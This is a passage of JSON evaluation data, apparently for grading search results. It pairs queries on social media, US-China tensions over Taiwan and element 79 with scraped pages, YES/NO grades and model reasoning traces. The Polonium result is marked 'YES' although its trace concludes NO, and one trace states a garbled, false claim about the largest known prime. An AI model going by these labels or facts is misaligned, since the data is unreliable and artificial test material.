                "text": "Nigerians buy and sell mobile phones, computers and other devices at a popular electronics bazaar in Ikeja, a suburb of Lagos, in 2015. (Mohammed Elshamy/Anadolu Agency/Getty Images) \nIn recent years, there have been doubts raised about the overall benefits of internet access and social media use. Concerns or no, the share of people who use the internet or own a smartphone continues to expand in the developing world and remains high in developed nations. When it comes to social media use, people in emerging and developing markets are fast approaching levels seen in more advanced economies. In addition, as people in advanced economies reach the upper bounds of internet penetration, the digital divide continues to narrow between wealthy and developing countries.\n There has been a steady increase in internet use over the past five years among the 19 emerging and developing economies surveyed. Between 2013 and 2014, a median of 42% across these countries said they accessed the internet at least occasionally or owned a smartphone. By 2017, a median of 64% were online. Meanwhile, internet use among the 17 advanced economies surveyed has remained relatively flat, with a median of 87% across these nations using the internet at least occasionally in 2017, similar to the 86% who said this in 2015 or 2016.\nA similar story is seen in smartphone use. In 2013-14, about a quarter of people in emerging and developing economies reported owning a smartphone, i.e., a mobile phone that can access the internet and apps. By 2017, that share had risen to 42%. Among the advanced economies, 72% report owning a smartphone in 2017, the same rate as in 2015-16.\nSocial media use has also increased in emerging markets. In 2015-16, roughly four-in-ten adults across the emerging nations surveyed said they used social networking sites. As of 2017, 53% use social media. Over the same period, social media use has been generally level in many of the advanced economies surveyed.\nDespite growing internet use and smartphone ownership, the world remain",
                "model_trace": "Query Decomposition:\n1. {societal impacts of social media}: The document discusses the rise of social media use in developing countries and its plateau in developed countries, but it does not explicitly discuss the societal impacts -> ([1], UNSATISFIED)\n2. {variation across different cultures and demographics}: The document compares social media use between developing and developed countries, which can be inferred to represent different cultures and demographics -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponent is {variation across different cultures and demographics}, which is satisfied. However, the document does not address the societal impacts of social media, which is a crucial part of the query. Therefore, the document is not fully aligned with the user's intent. NO."
            },
            {
                "grade": "YES",
                "title": "[PDF] The Impact of New Social Media on Intercultural Adaptation",
                "url": "https://digitalcommons.uri.edu/cgi/viewcontent.cgi?article=1230&context=srhonorsprog",
                "published_date": null,
                "text": "University of Rhode Island \nDigitalCommons@URI \nSenior Honors Projects Honors Program at the University of Rhode \nIsland \n5-2011 \nThe Impact of New Social Media on Intercultural Adaptation \nRebecca Sawyer \nrsawyer18@gmail.com \nFollow this and additional works at: https://digitalcommons.uri.edu/srhonorsprog \nPart of the Communication Technology and New Media Commons, and the International and \nIntercultural Communication Commons \nRecommended Citation \nSawyer, Rebecca, \"The Impact of New Social Media on Intercultural Adaptation\" (2011). Senior Honors \nProjects. Paper 242. \nhttps://digitalcommons.uri.edu/srhonorsprog/242 \nThis Article is brought to you for free and open access by the Honors Program at the University of Rhode Island at \nDigitalCommons@URI. It has been accepted for inclusion in Senior Honors Projects by an authorized administrator \nof DigitalCommons@URI. For more information, please contact digitalcommons-group@uri.edu. \nThe Impact of New Social Media on Intercultural Adaptation \nRebecca Sawyer, University of Rhode Island \nAbstract \n New social media have become increasingly popular components of our everyday lives in \ntoday\u2019s globalizing society. They provide a context where people across the world can \ncommunicate, exchange messages, share knowledge, and interact with each other regardless of \nthe distance that separates them. Intercultural adaptation involves the process of promoting \nunderstanding through interaction to increase the level of fitness so that the demands of a new \ncultural environment can be met. Research shows that people tend to use new social media to \nbecome more integrated into the host culture during their adaptation and to maintain connections \nto their home countries. This paper attempts to investigate the impact of using new social media \non the intercultural adaptation process. In-depth interviews of international students in a U.S. \nuniversity are conducted. Based on the results of the analysis, directions for future research in \nthis line of research are also discussed. ",
                "model_trace": "Query Decomposition:\n1. [societal impacts of social media]: The document discusses the impact of new social media, so this subcomponent is likely met -> ([1], SATISFIED)\n2. [variation across different cultures]: The document focuses on intercultural adaptation, which implies a consideration of different cultures -> ([1], SATISFIED)\n3. [variation across different demographics]: The document does not explicitly mention different demographics beyond international students -> ([0], UNSURE)\n\nAssessment: The document satisfies the key subcomponents related to societal impacts of social media and cultural variation. The demographic variation subcomponent is tagged [0] and does not affect the evaluation. YES."
            },
            {
                "grade": "YES",
                "title": "How do cultural differences impact tribe behaviors in social media?",
                "url": "https://www.quora.com/How-do-cultural-differences-impact-tribe-behaviors-in-social-media",
                "published_date": null,
                "text": "How do cultural differences impact tribe behaviors in social media?               All is true but in addition to culture I would like to add self esteem. People love to read since they are updated on news and topics of their interest. Publishing opinions requires having a view on subjects, the confidence of publishing and the creativity to contribute in an authentic manner. I find it interesting to see that male/female differrences seem to vanish by digital addicts whereas the difference grows larger by laggerds: stage fear can be huge but is perceived online as unmanageable.      ||||I||||                Skip to content\n                Skip to search\n                Sign In\n                    How do cultural differences impact tribe behaviors in social media?\n                                            Athalie Stegeman\n                                              iCEO - \"Creating value by vision\"\n                                            \u00b7 12y\n                                        All is true but in addition to culture I would like to add self esteem. People love to read since they are updated on news and topics of their interest. Publishing opinions requires having a view on subjects, the confidence of publishing and the creativity to contribute in an authentic manner. I find it interesting to see that male/female differrences seem to vanish by digital addicts whereas the difference grows larger by laggerds: stage fear can be huge but is perceived online as unmanageable.\n                                      Upvote \u00b7\n                                        9 1\n                          Related questions\n                            More answers below\n                                  What is the dIfference between culture and tribe?\n                                  What positive effects does social media have on culture?\n                                  How does our culture affect social media?\n                                  How much do cultural differences have to do with human behavior?\n            ",
                "model_trace": "Query Decomposition:\n1. {societal impacts of social media}: The document discusses the impact of cultural differences on social media behaviors, which is related to societal impacts -> ([1], SATISFIED)\n2. {vary across different cultures}: The document specifically addresses cultural differences and their impact on social media behaviors -> ([1], SATISFIED)\n3. {vary across different demographics}: The document mentions male/female differences and digital addicts vs. laggards, which can be considered demographic variations -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents related to the query. YES."
            },
            {
                "grade": "YES",
                "title": "2. Views of social media and its impacts on society",
                "url": "https://www.pewresearch.org/global/2022/12/06/views-of-social-media-and-its-impacts-on-society-in-advanced-economies-2022/",
                "published_date": null,
                "text": "When asked whether social media is a good or bad thing for democracy in their country, a median of 57% across 19 countries say that it is a good thing. In almost every country, close to half or more say this, with the sentiment most common in Singapore, where roughly three-quarters believe social media is a good thing for democracy in their country. However, in the Netherlands and France, about four-in-ten agree. And in the U.S., only around a third think social media is positive for democracy \u2013 the smallest share among all 19 countries surveyed.\nIn eight countries, those who believe that the political system in their country allows them to have an influence on politics are also more likely to say that social media is a good thing for democracy. This gap is most evident in Belgium, where 62% of those who feel their political system allows them to have a say in politics also say that social media is a good thing for democracy in their country, compared with 44% among those who say that their political system does not allow them much influence on politics.\nThose who view the spread of false information online as a major threat to their country are less likely to say that social media is a good thing for democracy, compared with those who view the spread of misinformation online as either a minor threat or not a threat at all. This is most clearly observed in the Netherlands, where only four-in-ten (39%) among those who see the spread of false information online as a major threat say that social media has been a good thing for democracy in their country, as opposed to the nearly six-in-ten (57%) among those who do not consider the spread of misinformation online to be a threat who say the same. This pattern is evident in eight other countries as well.\nViews also vary by age. Older adults in 12 countries are less likely to say that social media is a good thing for democracy in their country when compared to their younger counterparts. In Japan, France, Israel, Hungary, the UK and Australia, the gap between the younge",
                "model_trace": "Query Decomposition:\n1. {societal impacts of social media}: The document discusses the impacts of social media on society, specifically in the context of democracy -> ([1], SATISFIED)\n2. {vary across different cultures}: The document provides data from 19 different countries, highlighting variations in opinions across these countries -> ([1], SATISFIED)\n3. {vary across different demographics}: The document mentions differences in views by age and political influence, covering some demographic variations -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents by providing insights into how the societal impacts of social media vary across different cultures and demographics. YES."
            }
        ]
    },
    {
        "query": "What is the latest news on the political tensions between the US and China over Taiwan?",
        "grid_pos": [
            1,
            1
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: News",
        "reasoning_trace": [
            "The queries cover a range of current events and news topics that require a deep understanding of the context and nuance to answer well. They touch on geopolitics, supply chain issues, energy markets, climate change, and financial regulation - all areas that Exa should be able to handle with its strong knowledge of the internet and the world.\n\nThe queries are specific and detailed, testing Exa's ability to comprehend complex information and provide relevant, up-to-date news summaries. They do not have a single, simple answer, but rather require synthesizing multiple sources and perspectives to fully address."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "US-China tensions flare over Taiwan Strait",
                "url": "https://www.wsws.org/en/articles/2022/06/25/pbhh-j25.html",
                "published_date": "2022-06-25",
                "text": "In the wake of the inflammatory anti-China speech delivered a fortnight ago by US Defence Secretary Lloyd Austin to the Shangri-la Dialogue security forum in Singapore, Washington has continued to escalate its confrontation with China over Taiwan. Yesterday, the US Navy provocatively flew a US Navy P-8A Poseidon reconnaissance plane over the Taiwan Strait to underscore its rejection of Chinese claims, reiterated in the wake of the security forum, that the Taiwan Strait falls within its jurisdiction. At the Singapore event, Austin explicitly accused China of \u201cintimidation,\u201d \u201ccoercion\u201d and \u201caggression\u201d toward Taiwan in particular. He singled out the Taiwan Strait as an area where \u201cthe stakes are especially stark,\u201d declaring that the US would continue to fly and sail in what it regards as international waters. Chinese Defence Minister General Wei Fenghe responded by denouncing the \u201chegemony and power politics\u201d of the US and declared that China was ready for war, if necessary, to defend its sovereignty, including over Taiwan. Beijing regards Taiwan as a renegade province of China and has repeatedly declared that it would reintegrate the island by force if Taipei ever declared formal independence. Last week China\u2019s foreign ministry reiterated that it \u201chas sovereignty, sovereign rights and jurisdiction over the Taiwan Strait\u201d and rejected the \u201cfalse claim when certain countries call the Taiwan Strait \u2018international waters.\u2019\u201d This week the Chinese air force reportedly flew 29 military aircraft, including fighter jets together with various surveillance, early warning and refuelling aircraft, into Taiwan\u2019s self-declared air defense identification zone (ADIZ). The US and international media seized on the operation as further evidence of China\u2019s aggressive intentions toward Taiwan. In fact, Beijing is responding to ongoing US provocations, both diplomatic and military, over Taiwan. The extensive Taiwanese ADIZ, which covers parts of mainland China, has no standing in international law and no Chinese aircraft flew into Taiwa",
                "model_trace": "Query Decomposition:\n1. {latest news}: The document was published on June 25, 2022, which might not be the latest depending on the current date -> ([0], UNSURE)\n2. {political tensions between the US and China over Taiwan}: The document discusses recent events and statements from both the US and China regarding Taiwan, including military maneuvers and political declarations -> ([1], SATISFIED)\n\nAssessment: The document provides detailed information on the political tensions between the US and China over Taiwan, which is the primary focus of the query. However, the relevance of the document being the \"latest\" news cannot be determined from the provided information. Ignoring the \"latest\" aspect due to its [0] tagging, the document satisfies the key subcomponent related to political tensions.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "US, Taiwan hold first round of trade talks",
                "url": "https://www.energy-daily.com/reports/US_Taiwan_hold_first_round_of_trade_talks_999.html",
                "published_date": "2022-06-26",
                "text": "US and Taiwanese officials held the first round of trade talks on Monday under an initiative announced earlier this month that drew strong criticism from Beijing. \nDeputy US Trade Representative Sarah Bianchi and Taiwan's top trade negotiator John Deng held the inaugural meeting of the US-Taiwan Initiative on 21st-Century Trade which aims to deepen ties between the two economies. \n\"This initiative will unlock market opportunities, promote innovation and create inclusive economic growth for our workers and businesses,\" Bianchi said in a statement. \nWashington has said the scope of the talks is limited and in keeping with the \"unofficial\" relationship with Taipei. \nBut Beijing claims Taiwan as part of its territory and tries to keep it isolated on the world stage, bristling at any attempt to treat the self-governing democracy as an independent nation. \n\"China always opposes any form of official exchanges between any country and the Taiwan region of China, including negotiating and signing any economic and trade agreements with sovereign connotations and an official nature,\" Commerce Ministry spokesman Gao Feng said early this month when the plan was announced. \nThe initiative came in the wake of an agreement President Joe Biden announced with 12 Asian economies, which excluded Taiwan. \nLike that effort, the discussions with Taipei will not involve tariffs or market access -- items that would require congressional approval. \nIn the first meeting, the officials discussed the development of an \"ambitious roadmap for negotiations... to reach agreements with high-standard commitments and economically meaningful outcomes,\" the statement said. \nTaiwan is the 10th largest export market for the United States, as well as a vital source of semiconductors. \nA global shortage of the chips is hitting industries that rely on them from cars to smartphones, and pushing inflation higher. \nThe officials met with legislators and business executives to discuss the opportunities, and talks with cover areas, including regulatory practice",
                "model_trace": "Query Decomposition:\n1. {latest news}: The document is dated June 26, 2022, so it may not be the absolute latest news, but it is relatively recent -> ([2], SATISFIED)\n2. {political tensions between the US and China}: The document mentions political tensions, particularly China's criticism of the US-Taiwan trade talks -> ([1], SATISFIED)\n3. {over Taiwan}: The document specifically discusses trade talks between the US and Taiwan and China's reaction to them, directly addressing the Taiwan issue -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES."
            },
            {
                "grade": "YES",
                "title": "Taipei, Washington to hold first trade talks under new initiative",
                "url": "https://www.scmp.com/news/china/diplomacy/article/3183248/taiwan-us-hold-first-trade-talks-under-new-initiative",
                "published_date": "2022-06-27",
                "text": "The talks will add to tensions with Beijing, which opposes official contact between Washington and Taipei. Photo: Reuters \nIsland\u2019s top trade negotiator John Deng and deputy US trade representative Sarah Bianchi will meet virtually after Deng tested positive for Covid-19\nDiscussion is likely to anger Beijing, which has voiced opposition to the framework that was announced at the start of this month\n Published: 8:00pm, 27 Jun, 2022 Updated: 8:00pm, 27 Jun, 2022 The talks will add to tensions with Beijing, which opposes official contact between Washington and Taipei. Photo: Reuters",
                "model_trace": "Query Decomposition:\n1. {latest news}: The document was published on June 27, 2022, so it provides relatively recent information -> ([1], SATISFIED)\n2. {political tensions between the US and China}: The document discusses the political tensions related to the US and Taiwan holding trade talks, which Beijing opposes -> ([1], SATISFIED)\n3. {over Taiwan}: The document specifically mentions the trade talks between the US and Taiwan and the resulting tensions with China -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "What's behind China-Taiwan tensions?",
                "url": "https://www.bbc.com/news/world-asia-34729538",
                "published_date": null,
                "text": "Image source, AFP Image caption, Many Taiwanese see their island as separate nation      Tensions over Taiwan are spiking over a visit by US House of Representatives Speaker Nancy Pelosi - and this has only further strained relations between Washington and Beijing.     At the heart of the divide is that the Chinese government sees Taiwan as a breakaway province that will, eventually, be part of the country.   But many Taiwanese people consider their self-ruled island to be distinct - whether or not independence is ever officially declared.    What is the history between China and Taiwan?    The first known settlers in Taiwan were Austronesian tribal people, who are thought to have come from modern day southern China.   The island seems to have first appeared in Chinese records in AD239, when an emperor sent an expeditionary force to explore the area - a fact Beijing uses to back its territorial claim.   After a relatively brief spell as a Dutch colony (1624-1661), Taiwan was administered by China's Qing dynasty from 1683 to 1895.    From the 17th Century, significant numbers of migrants started arriving from China, often fleeing turmoil or hardship. Most were Hoklo Chinese from Fujian (Fukien) province or Hakka Chinese, largely from Guangdong. Their descendants are now by far the largest demographic groups on the island.   In 1895, Japan won the First Sino-Japanese War, and the Qing government had to cede Taiwan to Japan. After World War Two, Japan surrendered and relinquished control of territory it had taken from China. The Republic of China (ROC) - one of the victors in the war - began ruling Taiwan with the consent of its allies, the US and UK.   But in the next few years a civil war broke out in China, and the then-leader Chiang Kai-shek's troops were defeated by Mao Zedong's Communist army.   Chiang, the remnants of his Kuomintang (KMT) government and their supporters - about 1.5m people - fled to Taiwan in 1949.    This group, referred to as Mainland Chinese, dominated Taiwan's politics for many years thou",
                "model_trace": "Query Decomposition:\n1. {latest news}: The document does not have a publication date, making it difficult to determine if it contains the latest news -> ([0], UNSURE)\n2. {political tensions between the US and China}: The document discusses political tensions between the US and China, specifically mentioning Nancy Pelosi's visit and its impact on relations -> ([1], SATISFIED)\n3. {over Taiwan}: The document focuses on the tensions over Taiwan, providing historical context and current issues -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to political tensions between the US and China over Taiwan. However, it is unclear if it contains the latest news due to the lack of a publication date. Since the subcomponent tagged [0] is UNSURE, it should not affect the evaluation. The document is helpful in providing context and relevant information on the topic. YES."
            },
            {
                "grade": "NO",
                "title": "Why China-Taiwan Relations Are So Tense",
                "url": "https://www.cfr.org/backgrounder/china-taiwan-relations-tension-us-policy-biden",
                "published_date": null,
                "text": "Introduction \nTaiwan, officially known as the Republic of China (ROC), is an island separated from China by the Taiwan Strait. It has been governed independently of mainland China, officially the People\u2019s Republic of China (PRC), since 1949. The PRC views the island as a renegade province and vows to eventually \u201cunify\u201d Taiwan with the mainland. In Taiwan, which has its own democratically elected government and is home to twenty-three million people, political leaders have differing views on the island\u2019s status and relations with the mainland.\t More From Our Experts\n\t \n  Cross-strait tensions have escalated since the election of Taiwanese President Tsai Ing-wen in 2016. Tsai has refused to accept a formula that her predecessor, Ma Ying-jeou, endorsed to allow for increased cross-strait ties. Meanwhile, Beijing has taken increasingly aggressive actions, including by flying fighter jets near the island. Some analysts fear a Chinese attack on Taiwan has the potential to draw the United States into a war with China.\n Is Taiwan part of China?   More on:\n \n Taiwan\n \n \n China\n \n \n Asia\n \n \n Diplomacy and International Institutions\n \n \n U.S. Foreign Policy\n \n  Beijing asserts that there is only \u201cone China\u201d and that Taiwan is part of it. It views the PRC as the only legitimate government of China, an approach it calls the One-China principle, and seeks Taiwan\u2019s eventual \u201cunification\u201d with the mainland.\nBeijing claims that Taiwan is bound by an understanding known as the 1992 Consensus, which was reached between representatives of the Chinese Communist Party (CCP) and the Kuomintang (KMT) party that then ruled Taiwan. However, the two sides don\u2019t agree on the content of this so-called consensus, and it was never intended to address the question of Taiwan\u2019s legal status. For the PRC, as Chinese President Xi Jinping has stated, the 1992 Consensus reflects an agreement that \u201cthe two sides of the strait belong to one China and would work together to seek national reunification.\u201d For the KMT, it means \u201cone China, different inter",
                "model_trace": "Query Decomposition:\n1. {latest news}: The document does not provide a date or any indication that it contains the latest news -> ([0], UNSURE)\n2. {political tensions between the US and China over Taiwan}: The document discusses the political tensions between China and Taiwan, and mentions the potential for US involvement -> ([1], SATISFIED)\n\nAssessment: The document provides background information on the political tensions between China and Taiwan, including the potential for US involvement, but it does not contain the latest news. Given that the query specifically asks for the latest news, the document does not fully satisfy the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "Taiwan tensions: News & Insights",
                "url": "https://asia.nikkei.com/Politics/International-relations/Taiwan-tensions",
                "published_date": null,
                "text": "Nikkei Asian Review, now known as Nikkei Asia, will be the voice of the Asian Century.\n     \n        Celebrate our next chapter\n        Free access for everyone - Sep. 30\n      Find out more   ||||I||||  Created with Sketch.Created with Sketch.\n    * My News\n    * Your Account\n        * Account Details\n        * Newsletters\n        * Group Subscription\n        * Log Out\n    * Log In\n    * Subscribe\n  * World\n      + China\n      + Japan\n      + India\n      + South Korea\n      + Indonesia\n      + Taiwan\n      + Thailand\n      + U.S.\n      + East Asia\n          o China\n          o Hong Kong\n          o Macao\n          o Taiwan\n          o Mongolia\n          o Japan\n          o South Korea\n          o North Korea\n      + Southeast Asia\n          o Indonesia\n          o Thailand\n          o Malaysia\n          o Singapore\n          o Philippines\n          o Vietnam\n          o Myanmar\n          o Cambodia\n          o Laos\n          o Brunei\n          o East Timor\n      + South Asia\n          o India\n          o Pakistan\n          o Afghanistan\n          o Bangladesh\n          o Sri Lanka\n          o Nepal\n          o Bhutan\n          o Maldives\n      + Central Asia\n          o Kazakhstan\n          o Uzbekistan\n          o Turkmenistan\n          o Tajikistan\n          o Kyrgyzstan\n      + Oceania\n          o Australia\n          o New Zealand\n          o Papua New Guinea\n          o Pacific Islands\n      + Rest of the World\n          o Middle East\n          o Russia & Caucasus\n          o North America\n          o Latin America\n          o Europe\n          o Africa\n  * Trending\n      + Myanmar Crisis\n      + Supply Chain\n      + China debt crunch\n      + India elections\n      + Taiwan tensions\n      + Bank of Japan\n      + Ukraine war\n      + ESG\n      + Explainer\n  * Business\n      + Business\n      + Semiconductors\n      + Automobiles\n      + Energy\n      + Transportation\n      + Retail\n      + Travel & Leisure\n      + Media & Entertainment\n      + Food & Beverage\n      + Finance\n      + Electronics\n      + Startups\n  *",
                "model_trace": "Query Decomposition:\n1. {latest news}: The document does not provide specific news articles or updates, only a general section about Taiwan tensions -> ([1], UNSATISFIED)\n2. {political tensions between the US and China over Taiwan}: The document is relevant to Taiwan tensions but does not provide specific details about US-China political tensions over Taiwan -> ([2], UNSURE)\n\nAssessment: The document does not provide specific, up-to-date news articles or detailed insights about the political tensions between the US and China over Taiwan. It is more of a general section header rather than a detailed news report. NO."
            }
        ]
    },
    {
        "query": "What is the common name for the chemical element with atomic number 79?",
        "grid_pos": [
            0,
            9
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "1. The naturally occurring isotope of radium with the longest half-life is Ra-226, with a half-life of 1,600 years. The chemical formula for radium is Ra.\n\n2. The largest known prime number discovered as of 2023 is 274,207,281-1, also known as the 50th Mersenne prime.\n\n3. The first book in the Dune series written by Frank Herbert is titled \"Dune\".\n\n4. The planet in our solar system with the highest average wind speeds is Neptune, with wind speeds reaching up to 2,100 km/h.\n\n5. The common name for the chemical element with atomic number 79 is gold."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "atomic number 79",
                "url": "https://www.thefreedictionary.com/atomic+number+79",
                "published_date": "2012-01-01",
                "text": "Also found in: Thesaurus, Wikipedia.\n ThesaurusAntonymsRelated WordsSynonymsLegend: Noun 1. atomic number 79 - a soft yellow malleable ductile (trivalent and univalent) metallic element; occurs mainly as nuggets in rocks and alluvial deposits; does not react with most chemicals but is attacked by chlorine and aqua regia gold leaf - a very thin form of gold foil gold - coins made of gold noble metal - any metal that is resistant to corrosion or oxidation gold dust - the particles and flakes (and sometimes small nuggets) of gold obtained in placer mining dental gold - an alloy of gold used in dentistry green gold - a gold alloy (at least 14 karat gold with silver or silver and cadmium) that has a green appearance guinea gold - 22-karat gold from which guinea coins were made graphic tellurium, sylvanite - a silver-white mineral consisting of silver gold telluride; a source of gold in Australia and America Based on WordNet 3.0, Farlex clipart collection. \u00a9 2003-2012 Princeton University, Farlex Inc.",
                "model_trace": "Query Decomposition:\n1. {common name for the chemical element}: The document should provide the common name for the chemical element with atomic number 79 -> ([1], SATISFIED)\n2. {atomic number 79}: The document should specify the element with atomic number 79 -> ([1], SATISFIED)\n\nAssessment: The document clearly states that the chemical element with atomic number 79 is gold. Both key subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Polonium - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Polonium",
                "published_date": "2001-05-17",
                "text": "Polonium, 84Po Polonium Pronunciation \u200b( p\u0259-LOH-nee-\u0259m ) Allotropes \u03b1, \u03b2 Appearance silvery Mass number [209] Polonium in the periodic table\n\nHydrogen\n\nHelium\n\nLithium\n\nBeryllium\n\nBoron\n\nCarbon\n\nNitrogen\n\nOxygen\n\nFluorine\n\nNeon\n\nSodium\n\nMagnesium\n\nAluminium\n\nSilicon\n\nPhosphorus\n\nSulfur\n\nChlorine\n\nArgon\n\nPotassium\n\nCalcium\n\nScandium\n\nTitanium\n\nVanadium\n\nChromium\n\nManganese\n\nIron\n\nCobalt\n\nNickel\n\nCopper\n\nZinc\n\nGallium\n\nGermanium\n\nArsenic\n\nSelenium\n\nBromine\n\nKrypton\n\nRubidium\n\nStrontium\n\nYttrium\n\nZirconium\n\nNiobium\n\nMolybdenum\n\nTechnetium\n\nRuthenium\n\nRhodium\n\nPalladium\n\nSilver\n\nCadmium\n\nIndium\n\nTin\n\nAntimony\n\nTellurium\n\nIodine\n\nXenon\n\nCaesium\n\nBarium\n\nLanthanum\n\nCerium\n\nPraseodymium\n\nNeodymium\n\nPromethium\n\nSamarium\n\nEuropium\n\nGadolinium\n\nTerbium\n\nDysprosium\n\nHolmium\n\nErbium\n\nThulium\n\nYtterbium\n\nLutetium\n\nHafnium\n\nTantalum\n\nTungsten\n\nRhenium\n\nOsmium\n\nIridium\n\nPlatinum\n\nGold\n\nMercury (element)\n\nThallium\n\nLead\n\nBismuth\n\nPolonium\n\nAstatine\n\nRadon\n\nFrancium\n\nRadium\n\nActinium\n\nThorium\n\nProtactinium\n\nUranium\n\nNeptunium\n\nPlutonium\n\nAmericium\n\nCurium\n\nBerkelium\n\nCalifornium\n\nEinsteinium\n\nFermium\n\nMendelevium\n\nNobelium\n\nLawrencium\n\nRutherfordium\n\nDubnium\n\nSeaborgium\n\nBohrium\n\nHassium\n\nMeitnerium\n\nDarmstadtium\n\nRoentgenium\n\nCopernicium\n\nNihonium\n\nFlerovium\n\nMoscovium\n\nLivermorium\n\nTennessine\n\nOganesson\n\nTe \u2191 Po \u2193 Lv\n\nbismuth \u2190 polonium \u2192 astatine\n\nAtomic number (Z) 84 Group group 16 (chalcogens) Period period 6 Block p-block Electron configuration [Xe] 4f14 5d10 6s2 6p4 Electrons per shell 2, 8, 18, 32, 18, 6 Physical properties Phase at STP solid Melting point 527 K \u200b(254 \u00b0C, \u200b489 \u00b0F) Boiling point 1235 K \u200b(962 \u00b0C, \u200b1764 \u00b0F) Density (near r.t.) \u03b1-Po: 9.196 g/cm3 \u03b2-Po: 9.398 g/cm3 Heat of fusion ca. 13 kJ/mol Heat of vaporization 102.91 kJ/mol Molar heat capacity 26.4 J/(mol\u00b7K) Vapor pressure\n\nP (Pa)\n\n1\n\n10\n\n100\n\n1 k\n\n10 k\n\n100 k\n\nat T (K)\n\n(846)\n\n1003\n\n1236\n\nAtomic properties Oxidation states \u22122 , +2, +4, +5, [1] +6 (an amphoteric oxide) Electronegativity Pauling scale: 2.0 Ionization energies 1st: 812.1 kJ/mol Atomic radius ",
                "model_trace": "[QUERY] What is the common name for the chemical element with atomic number 79?\n\n[WEBPAGE INFORMATION]\n[TITLE] Polonium - Wikipedia\n[URL] https://en.wikipedia.org/wiki/Polonium\n[DATE PUBLISHED] 2001-05-17\n[CONTENT] Polonium, 84Po Polonium Pronunciation \u200b( p\u0259-LOH-nee-\u0259m ) Allotropes \u03b1, \u03b2 Appearance silvery Mass number [209] Polonium in the periodic table\n\nHydrogen\n\nHelium\n\nLithium\n\nBeryllium\n\nBoron\n\nCarbon\n\nNitrogen\n\nOxygen\n\nFluorine\n\nNeon\n\nSodium\n\nMagnesium\n\nAluminium\n\nSilicon\n\nPhosphorus\n\nSulfur\n\nChlorine\n\nArgon\n\nPotassium\n\nCalcium\n\nScandium\n\nTitanium\n\nVanadium\n\nChromium\n\nManganese\n\nIron\n\nCobalt\n\nNickel\n\nCopper\n\nZinc\n\nGallium\n\nGermanium\n\nArsenic\n\nSelenium\n\nBromine\n\nKrypton\n\nRubidium\n\nStrontium\n\nYttrium\n\nZirconium\n\nNiobium\n\nMolybdenum\n\nTechnetium\n\nRuthenium\n\nRhodium\n\nPalladium\n\nSilver\n\nCadmium\n\nIndium\n\nTin\n\nAntimony\n\nTellurium\n\nIodine\n\nXenon\n\nCaesium\n\nBarium\n\nLanthanum\n\nCerium\n\nPraseodymium\n\nNeodymium\n\nPromethium\n\nSamarium\n\nEuropium\n\nGadolinium\n\nTerbium\n\nDysprosium\n\nHolmium\n\nErbium\n\nThulium\n\nYtterbium\n\nLutetium\n\nHafnium\n\nTantalum\n\nTungsten\n\nRhenium\n\nOsmium\n\nIridium\n\nPlatinum\n\nGold\n\nMercury (element)\n\nThallium\n\nLead\n\nBismuth\n\nPolonium\n\nAstatine\n\nRadon\n\nFrancium\n\nRadium\n\nActinium\n\nThorium\n\nProtactinium\n\nUranium\n\nNeptunium\n\nPlutonium\n\nAmericium\n\nCurium\n\nBerkelium\n\nCalifornium\n\nEinsteinium\n\nFermium\n\nMendelevium\n\nNobelium\n\nLawrencium\n\nRutherfordium\n\nDubnium\n\nSeaborgium\n\nBohrium\n\nHassium\n\nMeitnerium\n\nDarmstadtium\n\nRoentgenium\n\nCopernicium\n\nNihonium\n\nFlerovium\n\nMoscovium\n\nLivermorium\n\nTennessine\n\nOganesson\n\nTe \u2191 Po \u2193 Lv\n\nbismuth \u2190 polonium \u2192 astatine\n\nAtomic number (Z) 84 Group group 16 (chalcogens) Period period 6 Block p-block Electron configuration [Xe] 4f14 5d10 6s2 6p4 Electrons per shell 2, 8, 18, 32, 18, 6 Physical properties Phase at STP solid Melting point 527 K \u200b(254 \u00b0C, \u200b489 \u00b0F) Boiling point 1235 K \u200b(962 \u00b0C, \u200b1764 \u00b0F) Density (near r.t.) \u03b1-Po: 9.196 g/cm3 \u03b2-Po: 9.398 g/cm3 Heat of fusion ca. 13 kJ/mol Heat of vaporization 102.91 kJ/mol Molar heat capacity 26.4 J/(mol\u00b7K) Vapor pressure\n\nP (Pa)\n\n1\n\n10\n\n100\n\n1 k\n\n10 k\n\n100 k\n\nat T (K)\n\n(846)\n\n1003\n\n1236\n\nAtomic properties Oxidation states \u22122 , +2, +4, +5, [1] +6 (an amphoteric oxide) Electronegativity Pauling scale: 2.0 Ionization energies 1st: 812.1 kJ/mol Atomic radius \n\nIs this web page useful for this query? Have the last word in your reasoning be YES or NO.\n\nQuery Decomposition:\n1. {common name}: The document should provide the common name of the element.\n2. {chemical element with atomic number 79}: The document should reference the element with atomic number 79.\n\nAssessment:\n- The document is about Polonium, which has an atomic number of 84, not 79. Therefore, it does not provide information about the element with atomic number 79.\n- Since the document does not address the element with atomic number 79, it cannot provide its common name.\n\nThe document does not satisfy any of the key subcomponents. NO."
            },
            {
                "grade": "NO",
                "title": "Tungsten - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Tungsten",
                "published_date": "2001-05-17",
